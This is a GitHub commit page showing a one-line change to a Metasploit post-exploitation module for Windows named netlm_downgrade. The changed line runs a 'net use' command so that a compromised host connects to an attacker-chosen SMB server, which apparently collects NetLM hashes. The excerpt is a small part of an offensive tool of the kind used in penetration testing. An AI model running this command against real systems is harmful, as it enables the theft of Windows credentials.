We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
There was an error while loading. Please reload this page.
1 parent e03ace1 commit 65f9f8eCopy full SHA for 65f9f8e
modules/post/windows/gather/netlm_downgrade.rb
@@ -48,7 +48,7 @@ def initialize(info={})
48
def smb_connect
49
begin
50
print_status("Establishing SMB connection to " + datastore['SMBHOST'])
51
- cmd_exec("cmd.exe","/c net use * \\\\#{datastore['SMBHOST']}\\ipc$")
+ cmd_exec("cmd.exe","/c net use \\\\#{datastore['SMBHOST']}")
52
print_status("The SMBHOST should now have NetLM hashes")
53
rescue
54
print_error("Issues establishing SMB connection")
@@ -104,4 +104,4 @@ def run
104
end
105
106
107
-end
+end
0 commit comments